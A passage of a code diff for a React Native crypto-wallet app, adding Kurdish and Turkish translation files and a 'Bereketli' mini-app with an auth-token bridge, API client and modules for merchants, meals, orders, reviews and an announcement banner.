"selectValidators": "Select Validators",
"joinPool": "Join Pool",
"bondMore": "Bond More",
"unbondingPeriod": "Unbonded tokens will be locked for ~28 days"
},
"governance": {
"title": "Governance",
"active": "Active",
"past": "Past",
"all": "All",
"noReferenda": "No referenda found",
"voteAye": "Aye",
"voteNay": "Nay",
"conviction": "Conviction (lock multiplier)",
"tapToVote": "Tap to vote",
"support": "Support"
},
"apps": {
"title": "Apps",
"searchApps": "Search apps...",
"connectWallet": "Connect Wallet",
"submitApp": "Submit Your App"
},
"auth": {
"signIn": "Sign In",
"signUp": "Sign Up",
"email": "Email",
"password": "Password",
"forgotPassword": "Forgot Password?",
"noAccount": "Don't have an account?",
"hasAccount": "Already have an account?"
},
"profile": {
"title": "Profile",
"editProfile": "Edit Profile",
"settings": "Settings",
"security": "Security",
"language": "Language",
"signOut": "Sign Out"
},
"dapp": {
"title": "DApp Browser",
"searchOrEnter": "Search or enter URL...",
"connected": "Connected",
"noWallet": "No wallet connected - dApps won't work",
"connectionRequest": "Connection Request",
"signRequest": "Sign Request",
"approve": "Connect",
"reject": "Reject"
},
"notifications": {
"transactionSent": "Transaction Sent",
"transactionReceived": "Transaction Received"
}
}
+116
View File
@@ -0,0 +1,116 @@
{
"common": {
"loading": "Tê barkirin...",
"error": "Çewtî",
"success": "Serkeftî",
"cancel": "Dev jê berde",
"confirm": "Bipejirîne",
"save": "Tomar bike",
"delete": "Jê bibe",
"close": "Bigire",
"retry": "Dîsa biceribîne",
"send": "Bişîne",
"receive": "Werbigire",
"copy": "Kopî bike",
"share": "Parve bike",
"search": "Bigere",
"settings": "Mîheng",
"back": "Paşve",
"next": "Pêşve",
"done": "Temam",
"comingSoon": "Di demekê de tê",
"noData": "Agahî tune"
},
"wallet": {
"title": "Cîzdan",
"balance": "Hevseng",
"send": "Bişîne",
"receive": "Werbigire",
"swap": "Biguherîne",
"backup": "Paşveger",
"tokens": "Token",
"activity": "Çalakî",
"noTransactions": "Hêj veguheztin tune",
"scanAddress": "Navnîşanê bişkîne",
"selectNetwork": "Torê hilbijêre",
"myWallets": "Cîzdanên min",
"addWallet": "Cîzdaneke nû zêde bike",
"createWallet": "Cîzdan biafirîne",
"importWallet": "Cîzdan bîne",
"deleteWallet": "Cîzdan jê bibe",
"renameWallet": "Navê cîzdanê biguherîne",
"backupMnemonic": "Peyva vegerandinê paşve bigire",
"backupWarning": "QET bi kesî re parve neke! Binivîse û bi ewlehî hilîne.",
"recipientAddress": "Navnîşana wergir",
"amount": "Mîqdar",
"estimatedFee": "Bihayê texmînkirî",
"total": "Giştî (bi bihayê re)",
"insufficientBalance": "Hevseng bes nîne",
"transactionFinalized": "Veguheztin qediya!",
"copied": "Navnîşan hat kopîkirin"
},
"staking": {
"title": "Staking",
"directStaking": "Stakinga rasterast",
"nominationPools": "Hovzên kandîdatiyê",
"totalStaked": "Giştî hatiye staking kirin",
"monthlyReward": "Xelata mehane",
"estimatedAPY": "APY texmînkirî",
"stake": "Stake bike",
"unstake": "Ji stakingê vekişîne",
"claimRewards": "Xelatan bistîne",
"selectValidators": "Validator hilbijêre",
"joinPool": "Beşdarî hovzê bibe",
"bondMore": "Zêdetir girêbide",
"unbondingPeriod": "Tokenên vekirî dê ~28 roj bên kilîtkirin"
},
"governance": {
"title": "Rêveberî",
"active": "Çalak",
"past": "Berê",
"all": "Hemû",
"noReferenda": "Referandum nehat dîtin",
"voteAye": "Erê",
"voteNay": "Na",
"conviction": "Bawerî (hejmara kilidê)",
"tapToVote": "Ji bo dengdanê pê bixe",
"support": "Piştgirî"
},
"apps": {
"title": "Serlêdan",
"searchApps": "Serlêdanan bigere...",
"connectWallet": "Cîzdanê girêbide",
"submitApp": "Serlêdana xwe bişîne"
},
"auth": {
"signIn": "Têkeve",
"signUp": "Tomar bibe",
"email": "E-name",
"password": "Şîfre",
"forgotPassword": "Şîfre ji bîr kir?",
"noAccount": "Hesabê te tune?",
"hasAccount": "Hesabê te heye?"
},
"profile": {
"title": "Profîl",
"editProfile": "Profîlê biguherîne",
"settings": "Mîheng",
"security": "Ewlehî",
"language": "Ziman",
"signOut": "Derkeve"
},
"dapp": {
"title": "Gerokê DApp",
"searchOrEnter": "Bigere an URL binivîse...",
"connected": "Girêdayî",
"noWallet": "Cîzdan girêdayî nîne - DApp'ên naxebitin",
"connectionRequest": "Daxwaza girêdanê",
"signRequest": "Daxwaza îmzekirinê",
"approve": "Girêbide",
"reject": "Red bike"
},
"notifications": {
"transactionSent": "Veguheztin hat şandin",
"transactionReceived": "Veguheztin hat wergirtin"
}
}
+116
View File
@@ -0,0 +1,116 @@
{
"common": {
"loading": "Yükleniyor...",
"error": "Hata",
"success": "Başarılı",
"cancel": "İptal",
"confirm": "Onayla",
"save": "Kaydet",
"delete": "Sil",
"close": "Kapat",
"retry": "Tekrar dene",
"send": "Gönder",
"receive": "Al",
"copy": "Kopyala",
"share": "Paylaş",
"search": "Ara",
"settings": "Ayarlar",
"back": "Geri",
"next": "İleri",
"done": "Tamam",
"comingSoon": "Yakında",
"noData": "Veri bulunamadı"
},
"wallet": {
"title": "Cüzdan",
"balance": "Bakiye",
"send": "Gönder",
"receive": "Al",
"swap": "Takas",
"backup": "Yedekle",
"tokens": "Tokenler",
"activity": "Aktivite",
"noTransactions": "Henüz işlem yok",
"scanAddress": "Adres Tara",
"selectNetwork": "Ağ Seç",
"myWallets": "Cüzdanlarım",
"addWallet": "Yeni Cüzdan Ekle",
"createWallet": "Cüzdan Oluştur",
"importWallet": "Cüzdan İçe Aktar",
"deleteWallet": "Cüzdan Sil",
"renameWallet": "Cüzdan Adını Değiştir",
"backupMnemonic": "Kurtarma İfadesini Yedekle",
"backupWarning": "KİMSEYLE paylaşma! Yaz ve güvenli bir yerde sakla.",
"recipientAddress": "Alıcı Adresi",
"amount": "Miktar",
"estimatedFee": "Tahmini Ücret",
"total": "Toplam (ücret dahil)",
"insufficientBalance": "Yetersiz bakiye",
"transactionFinalized": "İşlem tamamlandı!",
"copied": "Adres panoya kopyalandı"
},
"staking": {
"title": "Staking",
"directStaking": "Doğrudan Staking",
"nominationPools": "Aday Havuzları",
"totalStaked": "Toplam Stake",
"monthlyReward": "Aylık Ödül",
"estimatedAPY": "Tahmini APY",
"stake": "Stake Et",
"unstake": "Stake'den Çıkar",
"claimRewards": "Ödülleri Al",
"selectValidators": "Doğrulayıcı Seç",
"joinPool": "Havuza Katıl",
"bondMore": "Daha Fazla Bağla",
"unbondingPeriod": "Çözülen tokenler ~28 gün kilitli kalacak"
},
"governance": {
"title": "Yönetişim",
"active": "Aktif",
"past": "Geçmiş",
"all": "Tümü",
"noReferenda": "Referandum bulunamadı",
"voteAye": "Evet",
"voteNay": "Hayır",
"conviction": "Kanaat (kilit çarpanı)",
"tapToVote": "Oy vermek için dokunun",
"support": "Destek"
},
"apps": {
"title": "Uygulamalar",
"searchApps": "Uygulama ara...",
"connectWallet": "Cüzdan Bağla",
"submitApp": "Uygulamanı Gönder"
},
"auth": {
"signIn": "Giriş Yap",
"signUp": "Kayıt Ol",
"email": "E-posta",
"password": "Şifre",
"forgotPassword": "Şifremi unuttum?",
"noAccount": "Hesabın yok mu?",
"hasAccount": "Zaten hesabın var mı?"
},
"profile": {
"title": "Profil",
"editProfile": "Profili Düzenle",
"settings": "Ayarlar",
"security": "Güvenlik",
"language": "Dil",
"signOut": "Çıkış Yap"
},
"dapp": {
"title": "DApp Tarayıcı",
"searchOrEnter": "Ara veya URL gir...",
"connected": "Bağlı",
"noWallet": "Cüzdan bağlı değil",
"connectionRequest": "Bağlantı İsteği",
"signRequest": "İmza İsteği",
"approve": "Bağlan",
"reject": "Reddet"
},
"notifications": {
"transactionSent": "İşlem Gönderildi",
"transactionReceived": "İşlem Alındı"
}
}
@@ -0,0 +1,128 @@
/**
* BereketliApp - Entry point for Bereketli mini-app
*
* This wraps the Bereketli navigation with its own providers (Zustand stores, i18n)
* while sharing the parent app's auth context.
*/
import React, { useEffect, useState } from 'react';
import { View, Text, StyleSheet, ActivityIndicator } from 'react-native';
import { NavigationContainer, NavigationIndependentTree } from '@react-navigation/native';
import { useAuth } from '../../contexts/AuthContext';
import { supabase } from '../../lib/supabase';
import { colors } from './theme';
// Bereketli's own auth store
import { useAuthStore } from './store/authStore';
// Bereketli API client
import apiClient from './api/client';
// Bereketli navigation (5 tab navigator)
import MainTabNavigator from './navigation/MainTabNavigator';
const BereketliApp: React.FC = () => {
const { user } = useAuth();
const [isReady, setIsReady] = useState(false);
const [error, setError] = useState<string | null>(null);
const setBereketliAuth = useAuthStore(state => state.setAuth);
// Bridge: Exchange pwap Supabase token for Bereketli token
useEffect(() => {
const bridgeAuth = async () => {
if (!user) {
setError('Please log in to use Bereketli');
setIsReady(true);
return;
}
try {
// Get current Supabase session
const { data: { session } } = await supabase.auth.getSession();
if (!session?.access_token) {
setError('Session expired. Please log in again.');
setIsReady(true);
return;
}
const response = await apiClient.post('/auth/exchange', {
supabase_token: session.access_token,
});
if (response.data?.access_token) {
setBereketliAuth({
accessToken: response.data.access_token,
refreshToken: response.data.refresh_token,
user: response.data.user,
});
}
setIsReady(true);
} catch (e) {
if (__DEV__) console.error('[Bereketli] Auth bridge failed:', e);
setError('Failed to connect to Bereketli. Please try again.');
setIsReady(true);
}
};
bridgeAuth();
}, [user, setBereketliAuth]);
if (!isReady) {
return (
<View style={styles.loading}>
<ActivityIndicator size="large" color={colors.primary} />
<Text style={styles.loadingText}>Loading Bereketli...</Text>
</View>
);
}
if (error) {
return (
<View style={styles.error}>
<Text style={styles.errorIcon}>!</Text>
<Text style={styles.errorText}>{error}</Text>
</View>
);
}
return (
<NavigationIndependentTree>
<NavigationContainer>
<MainTabNavigator />
</NavigationContainer>
</NavigationIndependentTree>
);
};
const styles = StyleSheet.create({
loading: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#FFFFFF',
},
loadingText: {
marginTop: 12,
fontSize: 15,
color: '#888',
},
error: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
padding: 32,
backgroundColor: '#FFFFFF',
},
errorIcon: {
fontSize: 48,
color: '#DC2626',
marginBottom: 16,
},
errorText: {
fontSize: 16,
color: '#666',
textAlign: 'center',
},
});
export default BereketliApp;
@@ -0,0 +1,61 @@
import client from './client';
import i18n from '../i18n';
interface RawAnnouncement {
id: string;
title: string;
content: string | null;
image_url: string | null;
link_url: string | null;
link_label: string | null;
announcement_type: string;
priority: number;
sponsor_store_id: string | null;
created_at: string;
}
export interface Announcement {
id: string;
title: string;
content: string | null;
image_url: string | null;
link_url: string | null;
link_label: string | null;
announcement_type: string;
priority: number;
sponsor_store_id: string | null;
created_at: string;
}
/** Parse a field that may be a JSON object with language keys or a plain string */
function localizeField(value: string | null, fallback: string = ''): string {
if (!value) return fallback;
try {
const parsed = JSON.parse(value);
if (typeof parsed === 'object' && parsed !== null) {
const lang = i18n.language;
return parsed[lang] || parsed.tr || parsed.en || fallback;
}
return value;
} catch {
return value;
}
}
export async function getAnnouncements(): Promise<Announcement[]> {
const {data} = await client.get<RawAnnouncement[]>('/announcements');
return data.map(a => ({
...a,
title: localizeField(a.title, a.title),
content: localizeField(a.content),
link_label: localizeField(a.link_label),
}));
}
export async function trackView(id: string): Promise<void> {
await client.post(`/announcements/${id}/view`);
}
export async function trackClick(id: string): Promise<void> {
await client.post(`/announcements/${id}/click`);
}
@@ -0,0 +1,42 @@
import client, {saveTokens} from './client';
import type {AuthResponse, User} from '../types/models';
export async function register(
name: string,
email: string,
password: string,
phone?: string,
referral_code?: string,
): Promise<AuthResponse> {
const body: Record<string, string> = {name, email, password};
if (phone) body.phone = phone;
if (referral_code) body.referral_code = referral_code;
const {data} = await client.post<AuthResponse>('/auth/register', body);
await saveTokens(data.access_token, data.refresh_token);
return data;
}
export async function login(
identifier: string,
password: string,
): Promise<AuthResponse> {
const {data} = await client.post<AuthResponse>('/auth/login', {
identifier,
password,
});
await saveTokens(data.access_token, data.refresh_token);
return data;
}
export async function getMe(): Promise<User> {
const {data} = await client.get<User>('/auth/me');
return data;
}
export async function refreshToken(refresh_token: string): Promise<AuthResponse> {
const {data} = await client.post<AuthResponse>('/auth/refresh', {
refresh_token,
});
await saveTokens(data.access_token, data.refresh_token);
return data;
}
@@ -0,0 +1,21 @@
import client from './client';
export interface ChatMessage {
role: 'user' | 'assistant';
content: string;
}
export interface ChatResponse {
reply: string;
}
export async function sendMessage(
message: string,
conversation: ChatMessage[],
): Promise<ChatResponse> {
const {data} = await client.post<ChatResponse>('/chat', {
message,
conversation,
});
return data;
}
@@ -0,0 +1,108 @@
import axios, {AxiosError, InternalAxiosRequestConfig} from 'axios';
import AsyncStorage from '@react-native-async-storage/async-storage';
const API_BASE_URL = 'https://bereketli.pezkiwi.app/v1';
const client = axios.create({
baseURL: API_BASE_URL,
timeout: 15000,
headers: {
'Content-Type': 'application/json',
},
});
// Token storage keys
const TOKEN_KEY = '@bereketli_access_token';
const REFRESH_KEY = '@bereketli_refresh_token';
export async function saveTokens(access: string, refresh: string) {
await AsyncStorage.setItem(TOKEN_KEY, access);
await AsyncStorage.setItem(REFRESH_KEY, refresh);
}
export async function clearTokens() {
await AsyncStorage.removeItem(TOKEN_KEY);
await AsyncStorage.removeItem(REFRESH_KEY);
}
export async function getAccessToken(): Promise<string | null> {
return AsyncStorage.getItem(TOKEN_KEY);
}
export async function getRefreshToken(): Promise<string | null> {
return AsyncStorage.getItem(REFRESH_KEY);
}
// Request interceptor: token ekle
client.interceptors.request.use(async (config: InternalAxiosRequestConfig) => {
const token = await getAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
// Response interceptor: 401 → token refresh → retry
let isRefreshing = false;
let refreshQueue: Array<{
resolve: (token: string) => void;
reject: (error: unknown) => void;
}> = [];
client.interceptors.response.use(
response => response,
async (error: AxiosError) => {
const originalRequest = error.config as InternalAxiosRequestConfig & {_retry?: boolean};
if (error.response?.status === 401 && !originalRequest._retry) {
if (isRefreshing) {
// Baska bir refresh zaten calisiyor — kuyruge ekle
return new Promise((resolve, reject) => {
refreshQueue.push({
resolve: (token: string) => {
originalRequest.headers.Authorization = `Bearer ${token}`;
resolve(client(originalRequest));
},
reject,
});
});
}
originalRequest._retry = true;
isRefreshing = true;
try {
const refreshToken = await getRefreshToken();
if (!refreshToken) {
throw new Error('No refresh token');
}
const response = await axios.post(`${API_BASE_URL}/auth/refresh`, {
refresh_token: refreshToken,
});
const {access_token, refresh_token} = response.data;
await saveTokens(access_token, refresh_token);
// Kuyruktekileri coz
refreshQueue.forEach(({resolve}) => resolve(access_token));
refreshQueue = [];
originalRequest.headers.Authorization = `Bearer ${access_token}`;
return client(originalRequest);
} catch (refreshError) {
refreshQueue.forEach(({reject}) => reject(refreshError));
refreshQueue = [];
await clearTokens();
// TODO: navigate to login screen
return Promise.reject(refreshError);
} finally {
isRefreshing = false;
}
}
return Promise.reject(error);
},
);
export default client;
+14
View File
@@ -0,0 +1,14 @@
import client from './client';
export interface FaqItem {
id: string;
question: string;
answer: string;
category: string;
sort_order: number;
}
export async function getFaqs(): Promise<FaqItem[]> {
const {data} = await client.get<FaqItem[]>('/faq');
return data;
}
@@ -0,0 +1,39 @@
import client from './client';
import type {MealListing, MealNearby, MealOrder} from '../types/models';
export async function getNearbyMeals(
lat: number,
lon: number,
radius?: number,
): Promise<MealNearby[]> {
const params: Record<string, unknown> = {lat, lon};
if (radius) params.radius = radius;
const {data} = await client.get<MealNearby[]>('/meals/nearby', {params});
return data;
}
export async function getMeal(id: string): Promise<MealListing> {
const {data} = await client.get<MealListing>(`/meals/${id}`);
return data;
}
export async function orderMeal(
listingId: string,
portions?: number,
): Promise<MealOrder> {
const {data} = await client.post<MealOrder>(`/meals/${listingId}/order`, {
portions,
});
return data;
}
export async function getAllMeals(): Promise<MealNearby[]> {
const {data} = await client.get<MealNearby[]>('/meals/all');
return data;
}
export async function getMealOrders(): Promise<MealOrder[]> {
const {data} = await client.get<MealOrder[]>('/meal-orders');
return data;
}
@@ -0,0 +1,146 @@
import client from './client';
import type {LoyaltyCard, LoyaltyProgram, Merchant, MerchantNearby} from '../types/models';
export async function getNearbyMerchants(
lat: number,
lon: number,
radius?: number,
category?: string,
): Promise<MerchantNearby[]> {
const params: Record<string, unknown> = {lat, lon};
if (radius) params.radius = radius;
if (category) params.category = category;
const {data} = await client.get<MerchantNearby[]>('/merchants/nearby', {params});
return data;
}
export async function getAllMerchants(): Promise<MerchantNearby[]> {
const {data} = await client.get<MerchantNearby[]>('/merchants/all');
return data;
}
export async function getMerchant(id: string): Promise<{merchant: Merchant; programs: LoyaltyProgram[]}> {
const {data} = await client.get(`/merchants/${id}`);
return data;
}
export async function addStamp(
programId: string,
customerUserId: string,
amount?: number,
) {
const {data} = await client.post('/loyalty/stamp', {
program_id: programId,
customer_user_id: customerUserId,
amount,
});
return data;
}
export async function getMyCards(): Promise<LoyaltyCard[]> {
const {data} = await client.get<LoyaltyCard[]>('/loyalty/my-cards');
return data;
}
export async function redeemReward(cardId: string) {
const {data} = await client.post(`/loyalty/redeem/${cardId}`, {});
return data;
}
// ── Merchant Products/Services ──
export interface MerchantProduct {
id: string;
merchant_id: string;
name: string;
description: string | null;
price: number;
unit: string;
category: string | null;
photo_url: string | null;
available: boolean;
sort_order: number;
}
export async function getMerchantProducts(merchantId: string): Promise<MerchantProduct[]> {
const {data} = await client.get<MerchantProduct[]>(`/merchants/${merchantId}/products`);
return data;
}
// ── Merchant Packages ──
export interface MerchantPackage {
id: string;
merchant_id: string;
title: string;
description: string | null;
price: number;
original_value: number;
total_quantity: number;
remaining: number;
pickup_start: string;
pickup_end: string;
status: string;
}
export async function getMerchantPackages(merchantId: string): Promise<MerchantPackage[]> {
const {data} = await client.get<MerchantPackage[]>(`/merchants/${merchantId}/packages`);
return data;
}
// ── Appointments ──
export interface Appointment {
id: string;
merchant_id: string;
customer_id: string;
merchant_name: string;
customer_name: string;
service_name: string;
appointment_date: string;
time_slot: string;
duration_minutes: number;
price: number | null;
status: string;
notes: string | null;
}
export async function bookAppointment(
merchantId: string,
serviceName: string,
date: string,
timeSlot: string,
notes?: string,
): Promise<Appointment> {
const {data} = await client.post<Appointment>(`/merchants/${merchantId}/appointments`, {
service_name: serviceName,
appointment_date: date,
time_slot: timeSlot,
notes,
});
return data;
}
export async function getMyAppointments(): Promise<Appointment[]> {
const {data} = await client.get<Appointment[]>('/appointments/mine');
return data;
}
export async function cancelAppointment(id: string): Promise<Appointment> {
const {data} = await client.put<Appointment>(`/appointments/${id}/cancel`);
return data;
}
// ── Merchant Package Orders ──
export async function orderMerchantPackage(
merchantId: string,
packageId: string,
quantity?: number,
): Promise<{id: string; total_price: number; qr_token: string}> {
const {data} = await client.post(`/merchants/${merchantId}/packages/${packageId}/order`, {
quantity,
});
return data;
}
@@ -0,0 +1,66 @@
import client from './client';
import type {Order} from '../types/models';
export interface CreateOrderRequest {
package_id: string;
quantity?: number;
delivery_type?: 'pickup' | 'delivery';
delivery_address?: string;
}
export async function createOrder(
packageId: string,
quantity?: number,
deliveryType?: 'pickup' | 'delivery',
deliveryAddress?: string,
): Promise<Order> {
const body: CreateOrderRequest = {
package_id: packageId,
quantity,
};
if (deliveryType) body.delivery_type = deliveryType;
if (deliveryAddress) body.delivery_address = deliveryAddress;
const {data} = await client.post<any>('/orders', body);
// Backend returns {needs_payment, order} or plain Order
return data.order || data;
}
export async function getOrders(page?: number, perPage?: number): Promise<Order[]> {
const params: Record<string, unknown> = {};
if (page) params.page = page;
if (perPage) params.per_page = perPage;
const {data} = await client.get<Order[]>('/orders', {params});
return data;
}
export async function getOrder(id: string): Promise<Order> {
const {data} = await client.get<Order>(`/orders/${id}`);
return data;
}
export async function cancelOrder(id: string): Promise<Order> {
const {data} = await client.put<Order>(`/orders/${id}/cancel`);
return data;
}
export async function updateDeliveryStatus(
orderId: string,
status: 'preparing' | 'on_the_way' | 'delivered',
): Promise<Order> {
const {data} = await client.put<Order>(`/orders/${orderId}/delivery-status`, {
status,
});
return data;
}
export async function confirmPickup(
orderId: string,
qrToken: string,
): Promise<Order> {
const {data} = await client.post<Order>(`/orders/${orderId}/confirm`, {
qr_token: qrToken,
});
return data;
}
@@ -0,0 +1,32 @@
import client from './client';
import type {Package, PackageNearby} from '../types/models';
export async function getNearbyPackages(
lat: number,
lon: number,
radius?: number,
category?: string,
page?: number,
perPage?: number,
): Promise<PackageNearby[]> {
const params: Record<string, unknown> = {lat, lon};
if (radius) params.radius = radius;
if (category) params.category = category;
if (page) params.page = page;
if (perPage) params.per_page = perPage;
const {data} = await client.get<PackageNearby[]>('/packages/nearby', {params});
return data;
}
export async function getPackage(id: string): Promise<Package> {
const {data} = await client.get<Package>(`/packages/${id}`);
return data;
}
export async function getAllPackages(category?: string): Promise<PackageNearby[]> {
const params: Record<string, unknown> = {};
if (category) params.category = category;
const {data} = await client.get<PackageNearby[]>('/packages/all', {params});
return data;
}
@@ -0,0 +1,60 @@
import client from './client';
export interface ChangePasswordRequest {
current_password: string;
new_password: string;
}
export interface TotpStatusResponse {
enabled: boolean;
}
export interface TotpSetupResponse {
secret: string;
qr_uri: string;
}
export async function changePassword(
currentPassword: string,
newPassword: string,
): Promise<void> {
await client.put('/auth/password', {
current_password: currentPassword,
new_password: newPassword,
});
}
export async function getTotpStatus(): Promise<TotpStatusResponse> {
const {data} = await client.get<TotpStatusResponse>('/auth/totp/status');
return data;
}
export async function setupTotp(): Promise<TotpSetupResponse> {
const {data} = await client.post<TotpSetupResponse>('/auth/totp/setup');
return data;
}
export async function verifyTotp(code: string): Promise<void> {
await client.post('/auth/totp/verify', {code});
}
export async function deleteAccount(): Promise<void> {
await client.delete('/auth/account');
}
export async function updateProfile(name?: string, avatarUrl?: string): Promise<any> {
const body: Record<string, string> = {};
if (name) body.name = name;
if (avatarUrl) body.avatar_url = avatarUrl;
const {data} = await client.put('/auth/profile', body);
return data;
}
export async function uploadAvatar(uri: string, type: string, fileName: string): Promise<string> {
const formData = new FormData();
formData.append('photo', {uri, type, name: fileName} as any);
const {data} = await client.post<{url: string}>('/upload/avatar', formData, {
headers: {'Content-Type': 'multipart/form-data'},
});
return data.url;
}
@@ -0,0 +1,30 @@
import client from './client';
export interface ReferralStats {
code: string;
stats: {
points_balance: number;
total_referrals: number;
completed_referrals: number;
total_earned: number;
total_spent: number;
next_signup_points: number;
};
}
export interface ReferralHistoryItem {
referred_name: string;
status: string; // 'registered' | 'first_purchase'
points_earned: number;
created_at: string;
}
export async function getReferralStats(): Promise<ReferralStats> {
const {data} = await client.get<ReferralStats>('/referral/stats');
return data;
}
export async function getReferralHistory(): Promise<ReferralHistoryItem[]> {
const {data} = await client.get<ReferralHistoryItem[]>('/referral/history');
return data;
}
@@ -0,0 +1,35 @@
import client from './client';
import type {Review} from '../types/models';
export async function getReviews(
targetType: 'store' | 'meal' | 'merchant',
targetId: string,
page?: number,
perPage?: number,
): Promise<Review[]> {
const params: Record<string, unknown> = {target_type: targetType, target_id: targetId};
if (page) params.page = page;
if (perPage) params.per_page = perPage;
const {data} = await client.get<Review[]>('/reviews', {params});
return data;
}
export async function createReview(
targetType: 'store' | 'meal' | 'merchant',
targetId: string,
rating: number,
comment?: string,
orderId?: string,
): Promise<Review> {
const body: Record<string, unknown> = {
target_type: targetType,
target_id: targetId,
rating,
};
if (comment) body.comment = comment;
if (orderId) body.order_id = orderId;
const {data} = await client.post<Review>('/reviews', body);
return data;
}
@@ -0,0 +1,7 @@
import client from './client';
import type {PackageNearby} from '../types/models';
export async function searchPackages(query: string): Promise<PackageNearby[]> {
const {data} = await client.get<PackageNearby[]>('/search', {params: {q: query}});
return data;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 692 B

@@ -0,0 +1,329 @@
import React, {useEffect, useState, useCallback, useRef} from 'react';
import {
View,
Text,
FlatList,
TouchableOpacity,
StyleSheet,
Dimensions,
Image,
Linking,
ActivityIndicator,
} from 'react-native';
import type {ViewToken} from 'react-native';
import {colors} from '../theme';
import {
getAnnouncements,
trackView,
trackClick,
} from '../api/announcements';
import type {Announcement} from '../api/announcements';
const {width: SCREEN_WIDTH} = Dimensions.get('window');
const CARD_WIDTH = SCREEN_WIDTH - 32;
const CARD_HEIGHT = 130;
const TYPE_COLORS: Record<string, string> = {
promo: '#2D6A4F',
sponsor: '#E8A838',
duyuru: '#2563EB',
kampanya: '#DC2626',
};
function getBackgroundColor(type: string): string {
return TYPE_COLORS[type] || colors.primary;
}
function AnnouncementCard({
item,
onVisible,
}: {
item: Announcement;
onVisible?: () => void;
}) {
const hasImage = !!item.image_url;
const [imgError, setImgError] = useState(false);
const bgColor = getBackgroundColor(item.announcement_type);
useEffect(() => {
onVisible?.();
}, [onVisible]);
const handlePress = useCallback(() => {
trackClick(item.id).catch(() => {});
if (item.link_url) {
Linking.openURL(item.link_url).catch(() => {});
}
}, [item.id, item.link_url]);
const renderContent = () => (
<View style={cardStyles.textContainer}>
<Text style={cardStyles.title} numberOfLines={2}>
{item.title}
</Text>
{item.content ? (
<Text style={cardStyles.content} numberOfLines={1}>
{item.content}
</Text>
) : null}
{item.link_label ? (
<View style={cardStyles.linkRow}>
<Text style={cardStyles.linkLabel}>{item.link_label} {'\u2192'}</Text>
</View>
) : null}
</View>
);
if (hasImage && !imgError) {
return (
<TouchableOpacity
style={cardStyles.card}
onPress={handlePress}
activeOpacity={0.85}>
<Image
source={{uri: item.image_url!}}
style={cardStyles.bgImage}
resizeMode="cover"
onError={() => setImgError(true)}
/>
<View style={cardStyles.gradient} />
{renderContent()}
</TouchableOpacity>
);
}
return (
<TouchableOpacity
style={[cardStyles.card, {backgroundColor: bgColor}]}
onPress={handlePress}
activeOpacity={0.85}>
{renderContent()}
</TouchableOpacity>
);
}
const cardStyles = StyleSheet.create({
card: {
width: CARD_WIDTH,
height: CARD_HEIGHT,
borderRadius: 16,
overflow: 'hidden',
justifyContent: 'flex-end',
},
bgImage: {
...StyleSheet.absoluteFillObject,
width: CARD_WIDTH,
height: CARD_HEIGHT,
},
gradient: {
...StyleSheet.absoluteFillObject,
backgroundColor: 'rgba(0,0,0,0.45)',
},
textContainer: {
padding: 14,
},
title: {
fontSize: 16,
fontWeight: '700',
color: '#FFFFFF',
marginBottom: 2,
},
content: {
fontSize: 12,
color: 'rgba(255,255,255,0.85)',
lineHeight: 16,
},
linkRow: {
alignSelf: 'flex-start',
backgroundColor: 'rgba(255,255,255,0.2)',
borderRadius: 12,
paddingHorizontal: 12,
paddingVertical: 4,
},
linkLabel: {
fontSize: 13,
fontWeight: '600',
color: '#FFFFFF',
},
});
const AUTO_SCROLL_INTERVAL = 4000; // 4 saniye
export default function AnnouncementBanner() {
const [announcements, setAnnouncements] = useState<Announcement[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(false);
const [activeIndex, setActiveIndex] = useState(0);
const viewedIds = useRef<Set<string>>(new Set());
const flatListRef = useRef<FlatList<Announcement>>(null);
const autoScrollTimer = useRef<ReturnType<typeof setInterval> | null>(null);
const userInteracted = useRef(false);
useEffect(() => {
let cancelled = false;
setLoading(true);
setError(false);
getAnnouncements()
.then(data => {
if (!cancelled) {
setAnnouncements(data);
}
})
.catch(() => {
if (!cancelled) {
setError(true);
}
})
.finally(() => {
if (!cancelled) {
setLoading(false);
}
});
return () => {
cancelled = true;
};
}, []);
const activeIndexRef = useRef(0);
activeIndexRef.current = activeIndex;
// Auto-scroll
useEffect(() => {
if (announcements.length <= 1) return;
autoScrollTimer.current = setInterval(() => {
if (userInteracted.current) {
userInteracted.current = false;
return;
}
const nextIndex = (activeIndexRef.current + 1) % announcements.length;
flatListRef.current?.scrollToOffset({
offset: nextIndex * (CARD_WIDTH + 12),
animated: true,
});
}, AUTO_SCROLL_INTERVAL);
return () => {
if (autoScrollTimer.current) {
clearInterval(autoScrollTimer.current);
}
};
}, [announcements.length]);
const handleScrollBeginDrag = useCallback(() => {
userInteracted.current = true;
}, []);
const handleViewableItemsChanged = useCallback(
({viewableItems}: {viewableItems: ViewToken[]}) => {
if (viewableItems.length > 0) {
const firstVisible = viewableItems[0];
if (typeof firstVisible.index === 'number') {
setActiveIndex(firstVisible.index);
}
}
},
[],
);
const viewabilityConfig = useRef({
itemVisiblePercentThreshold: 50,
}).current;
const handleCardVisible = useCallback((id: string) => {
if (!viewedIds.current.has(id)) {
viewedIds.current.add(id);
trackView(id).catch(() => {});
}
}, []);
if (loading) {
return (
<View style={styles.loaderContainer}>
<ActivityIndicator size="small" color={colors.primary} />
</View>
);
}
if (error || announcements.length === 0) {
return null;
}
return (
<View style={styles.container}>
<FlatList
ref={flatListRef}
data={announcements}
keyExtractor={item => item.id}
horizontal
pagingEnabled
showsHorizontalScrollIndicator={false}
snapToInterval={CARD_WIDTH + 12}
decelerationRate="fast"
contentContainerStyle={styles.listContent}
onViewableItemsChanged={handleViewableItemsChanged}
viewabilityConfig={viewabilityConfig}
onScrollBeginDrag={handleScrollBeginDrag}
renderItem={({item}) => (
<View style={styles.cardWrapper}>
<AnnouncementCard
item={item}
onVisible={() => handleCardVisible(item.id)}
/>
</View>
)}
/>
{announcements.length > 1 && (
<View style={styles.dotsContainer}>
{announcements.map((item, index) => (
<View
key={item.id}
style={[
styles.dot,
index === activeIndex ? styles.dotActive : styles.dotInactive,
]}
/>
))}
</View>
)}
</View>
);
}
const styles = StyleSheet.create({
container: {
marginTop: 12,
},
loaderContainer: {
height: CARD_HEIGHT,
marginTop: 12,
justifyContent: 'center',
alignItems: 'center',
},
listContent: {
paddingHorizontal: 16,
},
cardWrapper: {
marginRight: 12,
},
dotsContainer: {
flexDirection: 'row',
justifyContent: 'center',
alignItems: 'center',
marginTop: 10,
